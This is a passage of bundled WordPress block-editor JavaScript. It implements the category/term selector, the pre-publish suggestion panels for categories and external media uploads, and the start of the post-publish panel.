18866 });
18867}
18868function getFilterMatcher(filterValue) {
18869 const matchTermsForFilter = (originalTerm) => {
18870 if ("" === filterValue) {
18871 return originalTerm;
18872 }
18873 const term = { ...originalTerm };
18874 if (term.children.length > 0) {
18875 term.children = term.children.map(matchTermsForFilter).filter((child) => child);
18876 }
18877 if (-1 !== normalizeTextString(term.name).indexOf(
18878 normalizeTextString(filterValue)
18879 ) || term.children.length > 0) {
18880 return term;
18881 }
18882 return false;
18883 };
18884 return matchTermsForFilter;
18885}
18886function HierarchicalTermSelector({ slug }) {
18887 const [adding, setAdding] = (0,external_wp_element_namespaceObject.useState)(false);
18888 const [formName, setFormName] = (0,external_wp_element_namespaceObject.useState)("");
18889 const [formParent, setFormParent] = (0,external_wp_element_namespaceObject.useState)("");
18890 const [showForm, setShowForm] = (0,external_wp_element_namespaceObject.useState)(false);
18891 const [filterValue, setFilterValue] = (0,external_wp_element_namespaceObject.useState)("");
18892 const [filteredTermsTree, setFilteredTermsTree] = (0,external_wp_element_namespaceObject.useState)([]);
18893 const debouncedSpeak = (0,external_wp_compose_namespaceObject.useDebounce)(external_wp_a11y_namespaceObject.speak, 500);
18894 const {
18895 hasCreateAction,
18896 hasAssignAction,
18897 terms,
18898 loading,
18899 availableTerms,
18900 taxonomy
18901 } = (0,external_wp_data_namespaceObject.useSelect)(
18902 (select) => {
18903 const { getCurrentPost, getEditedPostAttribute } = select(store_store);
18904 const { getEntityRecord, getEntityRecords, isResolving } = select(external_wp_coreData_namespaceObject.store);
18905 const _taxonomy = getEntityRecord("root", "taxonomy", slug);
18906 const post = getCurrentPost();
18907 return {
18908 hasCreateAction: _taxonomy ? !!post._links?.["wp:action-create-" + _taxonomy.rest_base] : false,
18909 hasAssignAction: _taxonomy ? !!post._links?.["wp:action-assign-" + _taxonomy.rest_base] : false,
18910 terms: _taxonomy ? getEditedPostAttribute(_taxonomy.rest_base) : hierarchical_term_selector_EMPTY_ARRAY,
18911 loading: isResolving("getEntityRecords", [
18912 "taxonomy",
18913 slug,
18914 hierarchical_term_selector_DEFAULT_QUERY
18915 ]),
18916 availableTerms: getEntityRecords("taxonomy", slug, hierarchical_term_selector_DEFAULT_QUERY) || hierarchical_term_selector_EMPTY_ARRAY,
18917 taxonomy: _taxonomy
18918 };
18919 },
18920 [slug]
18921 );
18922 const { editPost } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
18923 const { saveEntityRecord } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_coreData_namespaceObject.store);
18924 const availableTermsTree = (0,external_wp_element_namespaceObject.useMemo)(
18925 () => sortBySelected(terms_buildTermsTree(availableTerms), terms),
18926 // Remove `terms` from the dependency list to avoid reordering every time
18927 // checking or unchecking a term.
18928 [availableTerms]
18929 );
18930 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
18931 if (!hasAssignAction) {
18932 return null;
18933 }
18934 const addTerm = (term) => {
18935 return saveEntityRecord("taxonomy", slug, term, {
18936 throwOnError: true
18937 });
18938 };
18939 const onUpdateTerms = (termIds) => {
18940 editPost({ [taxonomy.rest_base]: termIds });
18941 };
18942 const onChange = (termId) => {
18943 const hasTerm = terms.includes(termId);
18944 const newTerms = hasTerm ? terms.filter((id) => id !== termId) : [...terms, termId];
18945 onUpdateTerms(newTerms);
18946 };
18947 const onChangeFormName = (value) => {
18948 setFormName(value);
18949 };
18950 const onChangeFormParent = (parentId) => {
18951 setFormParent(parentId);
18952 };
18953 const onToggleForm = () => {
18954 setShowForm(!showForm);
18955 };
18956 const onAddTerm = async (event) => {
18957 event.preventDefault();
18958 if (formName === "" || adding) {
18959 return;
18960 }
18961 const existingTerm = findTerm(availableTerms, formParent, formName);
18962 if (existingTerm) {
18963 if (!terms.some((term) => term === existingTerm.id)) {
18964 onUpdateTerms([...terms, existingTerm.id]);
18965 }
18966 setFormName("");
18967 setFormParent("");
18968 return;
18969 }
18970 setAdding(true);
18971 let newTerm;
18972 try {
18973 newTerm = await addTerm({
18974 name: formName,
18975 parent: formParent ? formParent : void 0
18976 });
18977 } catch (error) {
18978 createErrorNotice(error.message, {
18979 type: "snackbar"
18980 });
18981 return;
18982 }
18983 const defaultName = slug === "category" ? (0,external_wp_i18n_namespaceObject.__)("Category") : (0,external_wp_i18n_namespaceObject.__)("Term");
18984 const termAddedMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
18985 /* translators: %s: term name. */
18986 (0,external_wp_i18n_namespaceObject._x)("%s added", "term"),
18987 taxonomy?.labels?.singular_name ?? defaultName
18988 );
18989 (0,external_wp_a11y_namespaceObject.speak)(termAddedMessage, "assertive");
18990 setAdding(false);
18991 setFormName("");
18992 setFormParent("");
18993 onUpdateTerms([...terms, newTerm.id]);
18994 };
18995 const setFilter = (value) => {
18996 const newFilteredTermsTree = availableTermsTree.map(getFilterMatcher(value)).filter((term) => term);
18997 const getResultCount = (termsTree) => {
18998 let count = 0;
18999 for (let i = 0; i < termsTree.length; i++) {
19000 count++;
19001 if (void 0 !== termsTree[i].children) {
19002 count += getResultCount(termsTree[i].children);
19003 }
19004 }
19005 return count;
19006 };
19007 setFilterValue(value);
19008 setFilteredTermsTree(newFilteredTermsTree);
19009 const resultCount = getResultCount(newFilteredTermsTree);
19010 const resultsFoundMessage = (0,external_wp_i18n_namespaceObject.sprintf)(
19011 /* translators: %d: number of results. */
19012 (0,external_wp_i18n_namespaceObject._n)("%d result found.", "%d results found.", resultCount),
19013 resultCount
19014 );
19015 debouncedSpeak(resultsFoundMessage, "assertive");
19016 };
19017 const renderTerms = (renderedTerms) => {
19018 return renderedTerms.map((term) => {
19019 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19020 "div",
19021 {
19022 className: "editor-post-taxonomies__hierarchical-terms-choice",
19023 children: [
19024 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19025 external_wp_components_namespaceObject.CheckboxControl,
19026 {
19027 __nextHasNoMarginBottom: true,
19028 checked: terms.indexOf(term.id) !== -1,
19029 onChange: () => {
19030 const termId = parseInt(term.id, 10);
19031 onChange(termId);
19032 },
19033 label: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(term.name)
19034 }
19035 ),
19036 !!term.children.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "editor-post-taxonomies__hierarchical-terms-subchoices", children: renderTerms(term.children) })
19037 ]
19038 },
19039 term.id
19040 );
19041 });
19042 };
19043 const labelWithFallback = (labelProperty, fallbackIsCategory, fallbackIsNotCategory) => taxonomy?.labels?.[labelProperty] ?? (slug === "category" ? fallbackIsCategory : fallbackIsNotCategory);
19044 const newTermButtonLabel = labelWithFallback(
19045 "add_new_item",
19046 (0,external_wp_i18n_namespaceObject.__)("Add Category"),
19047 (0,external_wp_i18n_namespaceObject.__)("Add Term")
19048 );
19049 const newTermLabel = labelWithFallback(
19050 "new_item_name",
19051 (0,external_wp_i18n_namespaceObject.__)("Add Category"),
19052 (0,external_wp_i18n_namespaceObject.__)("Add Term")
19053 );
19054 const parentSelectLabel = labelWithFallback(
19055 "parent_item",
19056 (0,external_wp_i18n_namespaceObject.__)("Parent Category"),
19057 (0,external_wp_i18n_namespaceObject.__)("Parent Term")
19058 );
19059 const noParentOption = `\u2014 ${parentSelectLabel} \u2014`;
19060 const newTermSubmitLabel = newTermButtonLabel;
19061 const filterLabel = taxonomy?.labels?.search_items ?? (0,external_wp_i18n_namespaceObject.__)("Search Terms");
19062 const groupLabel = taxonomy?.name ?? (0,external_wp_i18n_namespaceObject.__)("Terms");
19063 const showFilter = availableTerms.length >= MIN_TERMS_COUNT_FOR_FILTER;
19064 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { direction: "column", gap: "4", children: [
19065 showFilter && !loading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19066 external_wp_components_namespaceObject.SearchControl,
19067 {
19068 __next40pxDefaultSize: true,
19069 __nextHasNoMarginBottom: true,
19070 label: filterLabel,
19071 placeholder: filterLabel,
19072 value: filterValue,
19073 onChange: setFilter
19074 }
19075 ),
19076 loading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19077 external_wp_components_namespaceObject.Flex,
19078 {
19079 justify: "center",
19080 style: {
19081 // Match SearchControl height to prevent layout shift.
19082 height: "40px"
19083 },
19084 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
19085 }
19086 ),
19087 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19088 "div",
19089 {
19090 className: "editor-post-taxonomies__hierarchical-terms-list",
19091 tabIndex: "0",
19092 role: "group",
19093 "aria-label": groupLabel,
19094 children: renderTerms(
19095 "" !== filterValue ? filteredTermsTree : availableTermsTree
19096 )
19097 }
19098 ),
19099 !loading && hasCreateAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19100 external_wp_components_namespaceObject.Button,
19101 {
19102 __next40pxDefaultSize: true,
19103 onClick: onToggleForm,
19104 className: "editor-post-taxonomies__hierarchical-terms-add",
19105 "aria-expanded": showForm,
19106 variant: "link",
19107 children: newTermButtonLabel
19108 }
19109 ) }),
19110 showForm && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("form", { onSubmit: onAddTerm, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { direction: "column", gap: "4", children: [
19111 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19112 external_wp_components_namespaceObject.TextControl,
19113 {
19114 __next40pxDefaultSize: true,
19115 __nextHasNoMarginBottom: true,
19116 className: "editor-post-taxonomies__hierarchical-terms-input",
19117 label: newTermLabel,
19118 value: formName,
19119 onChange: onChangeFormName,
19120 required: true
19121 }
19122 ),
19123 !!availableTerms.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19124 external_wp_components_namespaceObject.TreeSelect,
19125 {
19126 __next40pxDefaultSize: true,
19127 __nextHasNoMarginBottom: true,
19128 label: parentSelectLabel,
19129 noOptionLabel: noParentOption,
19130 onChange: onChangeFormParent,
19131 selectedId: formParent,
19132 tree: availableTermsTree
19133 }
19134 ),
19135 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19136 external_wp_components_namespaceObject.Button,
19137 {
19138 __next40pxDefaultSize: true,
19139 variant: "secondary",
19140 type: "submit",
19141 className: "editor-post-taxonomies__hierarchical-terms-submit",
19142 children: newTermSubmitLabel
19143 }
19144 ) })
19145 ] }) })
19146 ] });
19147}
19148var hierarchical_term_selector_default = (0,external_wp_components_namespaceObject.withFilters)("editor.PostTaxonomyType")(
19149 HierarchicalTermSelector
19150);
19151
19152
19153;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-category-panel.js
19154
19155
19156
19157
19158
19159
19160
19161
19162function MaybeCategoryPanel() {
19163 const { hasNoCategory, hasSiteCategories } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
19164 const postType = select(store_store).getCurrentPostType();
19165 const { canUser, getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
19166 const categoriesTaxonomy = getEntityRecord(
19167 "root",
19168 "taxonomy",
19169 "category"
19170 );
19171 const defaultCategoryId = canUser("read", {
19172 kind: "root",
19173 name: "site"
19174 }) ? getEntityRecord("root", "site")?.default_category : void 0;
19175 const defaultCategory = defaultCategoryId ? getEntityRecord("taxonomy", "category", defaultCategoryId) : void 0;
19176 const postTypeSupportsCategories = categoriesTaxonomy && categoriesTaxonomy.types.some((type) => type === postType);
19177 const categories = categoriesTaxonomy && select(store_store).getEditedPostAttribute(
19178 categoriesTaxonomy.rest_base
19179 );
19180 const siteCategories = postTypeSupportsCategories ? !!select(external_wp_coreData_namespaceObject.store).getEntityRecords("taxonomy", "category", {
19181 exclude: [defaultCategoryId],
19182 per_page: 1
19183 })?.length : false;
19184 const noCategory = !!categoriesTaxonomy && !!defaultCategory && postTypeSupportsCategories && (categories?.length === 0 || categories?.length === 1 && defaultCategory?.id === categories[0]);
19185 return {
19186 hasNoCategory: noCategory,
19187 hasSiteCategories: siteCategories
19188 };
19189 }, []);
19190 const [shouldShowPanel, setShouldShowPanel] = (0,external_wp_element_namespaceObject.useState)(false);
19191 (0,external_wp_element_namespaceObject.useEffect)(() => {
19192 if (hasNoCategory) {
19193 setShouldShowPanel(true);
19194 }
19195 }, [hasNoCategory]);
19196 if (!shouldShowPanel || !hasSiteCategories) {
19197 return null;
19198 }
19199 const panelBodyTitle = [
19200 (0,external_wp_i18n_namespaceObject.__)("Suggestion:"),
19201 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-publish-panel__link", children: (0,external_wp_i18n_namespaceObject.__)("Assign a category") }, "label")
19202 ];
19203 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { initialOpen: false, title: panelBodyTitle, children: [
19204 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
19205 "Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about."
19206 ) }),
19207 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(hierarchical_term_selector_default, { slug: "category" })
19208 ] });
19209}
19210var maybe_category_panel_default = MaybeCategoryPanel;
19211
19212
19213;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/media-util.js
19214
19215
19216function generateUniqueBasenames(urls) {
19217 const basenames = /* @__PURE__ */ new Set();
19218 return Object.fromEntries(
19219 urls.map((url) => {
19220 const filename = (0,external_wp_url_namespaceObject.getFilename)(url);
19221 let basename = "";
19222 if (filename) {
19223 const parts = filename.split(".");
19224 if (parts.length > 1) {
19225 parts.pop();
19226 }
19227 basename = parts.join(".");
19228 }
19229 if (!basename) {
19230 basename = esm_browser_v4();
19231 }
19232 if (basenames.has(basename)) {
19233 basename = `${basename}-${esm_browser_v4()}`;
19234 }
19235 basenames.add(basename);
19236 return [url, basename];
19237 })
19238 );
19239}
19240function fetchMedia(urls) {
19241 return Object.fromEntries(
19242 Object.entries(generateUniqueBasenames(urls)).map(
19243 ([url, basename]) => {
19244 const filePromise = window.fetch(url.includes("?") ? url : url + "?").then((response) => response.blob()).then((blob) => {
19245 return new File([blob], `${basename}.png`, {
19246 type: blob.type
19247 });
19248 });
19249 return [url, filePromise];
19250 }
19251 )
19252 );
19253}
19254
19255
19256;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/maybe-upload-media.js
19257
19258
19259
19260
19261
19262
19263
19264
19265function flattenBlocks(blocks) {
19266 const result = [];
19267 blocks.forEach((block) => {
19268 result.push(block);
19269 result.push(...flattenBlocks(block.innerBlocks));
19270 });
19271 return result;
19272}
19273function hasExternalMedia(block) {
19274 if (block.name === "core/image" || block.name === "core/cover") {
19275 return block.attributes.url && !block.attributes.id;
19276 }
19277 if (block.name === "core/media-text") {
19278 return block.attributes.mediaUrl && !block.attributes.mediaId;
19279 }
19280 return void 0;
19281}
19282function getMediaInfo(block) {
19283 if (block.name === "core/image" || block.name === "core/cover") {
19284 const { url, alt, id } = block.attributes;
19285 return { url, alt, id };
19286 }
19287 if (block.name === "core/media-text") {
19288 const { mediaUrl: url, mediaAlt: alt, mediaId: id } = block.attributes;
19289 return { url, alt, id };
19290 }
19291 return {};
19292}
19293function Image({ clientId, alt, url }) {
19294 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
19295 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19296 external_wp_components_namespaceObject.__unstableMotion.img,
19297 {
19298 tabIndex: 0,
19299 role: "button",
19300 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Select image block."),
19301 onClick: () => {
19302 selectBlock(clientId);
19303 },
19304 onKeyDown: (event) => {
19305 if (event.key === "Enter" || event.key === " ") {
19306 selectBlock(clientId);
19307 event.preventDefault();
19308 }
19309 },
19310 alt,
19311 src: url,
19312 animate: { opacity: 1 },
19313 exit: { opacity: 0, scale: 0 },
19314 style: {
19315 width: "32px",
19316 height: "32px",
19317 objectFit: "cover",
19318 borderRadius: "2px",
19319 cursor: "pointer"
19320 },
19321 whileHover: { scale: 1.08 }
19322 },
19323 clientId
19324 );
19325}
19326function MaybeUploadMediaPanel() {
19327 const [isUploading, setIsUploading] = (0,external_wp_element_namespaceObject.useState)(false);
19328 const [isAnimating, setIsAnimating] = (0,external_wp_element_namespaceObject.useState)(false);
19329 const [hadUploadError, setHadUploadError] = (0,external_wp_element_namespaceObject.useState)(false);
19330 const { editorBlocks, mediaUpload } = (0,external_wp_data_namespaceObject.useSelect)(
19331 (select) => ({
19332 editorBlocks: select(external_wp_blockEditor_namespaceObject.store).getBlocks(),
19333 mediaUpload: select(external_wp_blockEditor_namespaceObject.store).getSettings().mediaUpload
19334 }),
19335 []
19336 );
19337 const blocksWithExternalMedia = flattenBlocks(editorBlocks).filter(
19338 (block) => hasExternalMedia(block)
19339 );
19340 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
19341 if (!mediaUpload || !blocksWithExternalMedia.length) {
19342 return null;
19343 }
19344 const panelBodyTitle = [
19345 (0,external_wp_i18n_namespaceObject.__)("Suggestion:"),
19346 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "editor-post-publish-panel__link", children: (0,external_wp_i18n_namespaceObject.__)("External media") }, "label")
19347 ];
19348 function updateBlockWithUploadedMedia(block, media) {
19349 if (block.name === "core/image" || block.name === "core/cover") {
19350 updateBlockAttributes(block.clientId, {
19351 id: media.id,
19352 url: media.url
19353 });
19354 }
19355 if (block.name === "core/media-text") {
19356 updateBlockAttributes(block.clientId, {
19357 mediaId: media.id,
19358 mediaUrl: media.url
19359 });
19360 }
19361 }
19362 function uploadImages() {
19363 setIsUploading(true);
19364 setHadUploadError(false);
19365 const mediaUrls = new Set(
19366 blocksWithExternalMedia.map((block) => {
19367 const { url } = getMediaInfo(block);
19368 return url;
19369 })
19370 );
19371 const uploadPromises = Object.fromEntries(
19372 Object.entries(fetchMedia([...mediaUrls])).map(
19373 ([url, filePromise]) => {
19374 const uploadPromise = filePromise.then(
19375 (blob) => new Promise((resolve, reject) => {
19376 mediaUpload({
19377 filesList: [blob],
19378 onFileChange: ([media]) => {
19379 if ((0,external_wp_blob_namespaceObject.isBlobURL)(media.url)) {
19380 return;
19381 }
19382 resolve(media);
19383 },
19384 onError() {
19385 reject();
19386 }
19387 });
19388 })
19389 );
19390 return [url, uploadPromise];
19391 }
19392 )
19393 );
19394 Promise.allSettled(
19395 blocksWithExternalMedia.map((block) => {
19396 const { url } = getMediaInfo(block);
19397 return uploadPromises[url].then(
19398 (media) => updateBlockWithUploadedMedia(block, media)
19399 ).then(() => setIsAnimating(true)).catch(() => setHadUploadError(true));
19400 })
19401 ).finally(() => {
19402 setIsUploading(false);
19403 });
19404 }
19405 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.PanelBody, { initialOpen: true, title: panelBodyTitle, children: [
19406 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
19407 "Upload external images to the Media Library. Images from different domains may load slowly, display incorrectly, or be removed unexpectedly."
19408 ) }),
19409 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
19410 "div",
19411 {
19412 style: {
19413 display: "inline-flex",
19414 flexWrap: "wrap",
19415 gap: "8px"
19416 },
19417 children: [
19418 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19419 external_wp_components_namespaceObject.__unstableAnimatePresence,
19420 {
19421 onExitComplete: () => setIsAnimating(false),
19422 children: blocksWithExternalMedia.map((block) => {
19423 const { url, alt } = getMediaInfo(block);
19424 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19425 Image,
19426 {
19427 clientId: block.clientId,
19428 url,
19429 alt
19430 },
19431 block.clientId
19432 );
19433 })
19434 }
19435 ),
19436 isUploading || isAnimating ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19437 external_wp_components_namespaceObject.Button,
19438 {
19439 size: "compact",
19440 variant: "primary",
19441 onClick: uploadImages,
19442 children: (0,external_wp_i18n_namespaceObject._x)("Upload", "verb")
19443 }
19444 )
19445 ]
19446 }
19447 ),
19448 hadUploadError && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("Upload failed, try again.") })
19449 ] });
19450}
19451
19452
19453;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/prepublish.js
19454
19455
19456
19457
19458
19459
19460
19461
19462
19463
19464
19465
19466
19467
19468
19469
19470
19471function PostPublishPanelPrepublish({ children }) {
19472 const {
19473 isBeingScheduled,
19474 isRequestingSiteIcon,
19475 hasPublishAction,
19476 siteIconUrl,
19477 siteTitle,
19478 siteHome
19479 } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
19480 const { getCurrentPost, isEditedPostBeingScheduled } = select(store_store);
19481 const { getEntityRecord, isResolving } = select(external_wp_coreData_namespaceObject.store);
19482 const siteData = getEntityRecord("root", "__unstableBase", void 0) || {};
19483 return {
19484 hasPublishAction: getCurrentPost()._links?.["wp:action-publish"] ?? false,
19485 isBeingScheduled: isEditedPostBeingScheduled(),
19486 isRequestingSiteIcon: isResolving("getEntityRecord", [
19487 "root",
19488 "__unstableBase",
19489 void 0
19490 ]),
19491 siteIconUrl: siteData.site_icon_url,
19492 siteTitle: siteData.name,
19493 siteHome: siteData.home && (0,external_wp_url_namespaceObject.filterURLForDisplay)(siteData.home)
19494 };
19495 }, []);
19496 let siteIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, { className: "components-site-icon", size: "36px", icon: wordpress_default });
19497 if (siteIconUrl) {
19498 siteIcon = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19499 "img",
19500 {
19501 alt: (0,external_wp_i18n_namespaceObject.__)("Site Icon"),
19502 className: "components-site-icon",
19503 src: siteIconUrl
19504 }
19505 );
19506 }
19507 if (isRequestingSiteIcon) {
19508 siteIcon = null;
19509 }
19510 let prePublishTitle, prePublishBodyText;
19511 if (!hasPublishAction) {
19512 prePublishTitle = (0,external_wp_i18n_namespaceObject.__)("Are you ready to submit for review?");
19513 prePublishBodyText = (0,external_wp_i18n_namespaceObject.__)(
19514 "Your work will be reviewed and then approved."
19515 );
19516 } else if (isBeingScheduled) {
19517 prePublishTitle = (0,external_wp_i18n_namespaceObject.__)("Are you ready to schedule?");
19518 prePublishBodyText = (0,external_wp_i18n_namespaceObject.__)(
19519 "Your work will be published at the specified date and time."
19520 );
19521 } else {
19522 prePublishTitle = (0,external_wp_i18n_namespaceObject.__)("Are you ready to publish?");
19523 prePublishBodyText = (0,external_wp_i18n_namespaceObject.__)(
19524 "Double-check your settings before publishing."
19525 );
19526 }
19527 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "editor-post-publish-panel__prepublish", children: [
19528 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("strong", { children: prePublishTitle }) }),
19529 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: prePublishBodyText }),
19530 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "components-site-card", children: [
19531 siteIcon,
19532 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "components-site-info", children: [
19533 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "components-site-name", children: (0,external_wp_htmlEntities_namespaceObject.decodeEntities)(siteTitle) || (0,external_wp_i18n_namespaceObject.__)("(Untitled)") }),
19534 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { className: "components-site-home", children: siteHome })
19535 ] })
19536 ] }),
19537 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(MaybeUploadMediaPanel, {}),
19538 hasPublishAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
19539 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19540 external_wp_components_namespaceObject.PanelBody,
19541 {
19542 initialOpen: false,
19543 title: [
19544 (0,external_wp_i18n_namespaceObject.__)("Visibility:"),
19545 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19546 "span",
19547 {
19548 className: "editor-post-publish-panel__link",
19549 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibilityLabel, {})
19550 },
19551 "label"
19552 )
19553 ],
19554 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibility, {})
19555 }
19556 ),
19557 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19558 external_wp_components_namespaceObject.PanelBody,
19559 {
19560 initialOpen: false,
19561 title: [
19562 (0,external_wp_i18n_namespaceObject.__)("Publish:"),
19563 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
19564 "span",
19565 {
19566 className: "editor-post-publish-panel__link",
19567 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostScheduleLabel, {})
19568 },
19569 "label"
19570 )
19571 ],
19572 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostSchedule, {})
19573 }
19574 )
19575 ] }),
19576 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PostFormatPanel, {}),
19577 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(maybe_tags_panel_default, {}),
19578 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(maybe_category_panel_default, {}),
19579 children
19580 ] });
19581}
19582var prepublish_default = PostPublishPanelPrepublish;
19583
19584
19585;// ./node_modules/@wordpress/editor/build-module/components/post-publish-panel/postpublish.js
19586
19587
19588
19589
19590
19591
19592
19593
19594
19595
19596
19597
19598const POSTNAME = "%postname%";
19599const PAGENAME = "%pagename%";
19600const getFuturePostUrl = (post) => {
19601 const { slug } = post;
19602 if (post.permalink_template.includes(POSTNAME)) {
19603 return post.permalink_template.replace(POSTNAME, slug);
19604 }
19605 if (post.permalink_template.includes(PAGENAME)) {
19606 return post.permalink_template.replace(PAGENAME, slug);
19607 }
19608 return post.permalink_template;
19609};
19610function postpublish_CopyButton({ text }) {
19611 const [showCopyConfirmation, setShowCopyConfirmation] = (0,external_wp_element_namespaceObject.useState)(false);
19612 const timeoutIdRef = (0,external_wp_element_namespaceObject.useRef)();
19613 const ref = (0,external_wp_compose_namespaceObject.useCopyToClipboard)(text, () => {
19614 setShowCopyConfirmation(true);
19615 if (timeoutIdRef.current) {
19616 clearTimeout(timeoutIdRef.current);
19617 }
19618 timeoutIdRef.current = setTimeout(() => {
19619 setShowCopyConfirmation(false);
19620 }, 4e3);
19621 });
19622 (0,external_wp_element_namespaceObject.useEffect)(() => {
19623 return () => {
19624 if (timeoutIdRef.current) {
19625 clearTimeout(timeoutIdRef.current);
19626 }
19627 };
19628 }, []);
19629 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, { __next40pxDefaultSize: true, variant: "secondary", ref, children: showCopyConfirmation ? (0,external_wp_i18n_namespaceObject.__)("Copied!") : (0,external_wp_i18n_namespaceObject.__)("Copy") });
19630}
19631function PostPublishPanelPostpublish({
19632 focusOnMount,
19633 children
19634}) {
19635 const { post, postType, isScheduled } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
19636 const {
19637 getEditedPostAttribute,
19638 getCurrentPost,
19639 isCurrentPostScheduled
19640 } = select(store_store);
19641 const { getPostType } = select(external_wp_coreData_namespaceObject.store);
19642 return {
19643 post: getCurrentPost(),
19644 postType: getPostType(getEditedPostAttribute("type")),
19645 isScheduled: isCurrentPostScheduled()
19646 };
19647 }, []);
19648 const postLabel = postType?.labels?.singular_name;
19649 const viewPostLabel = postType?.labels?.view_item;
19650 const addNewPostLabel = postType?.labels?.add_new_item;
19651 const link = post.status === "future" ? getFuturePostUrl(post) : post.link;
19652 const addLink = (0,external_wp_url_namespaceObject.addQueryArgs)("post-new.php", {
19653 post_type: post.type
19654 });
19655 const postLinkRef = (0,external_wp_element_namespaceObject.useCallback)(
19656 (node) => {
19657 if (focusOnMount && node) {
19658 node.focus();
19659 }
19660 },
19661 [focusOnMount]
19662 );
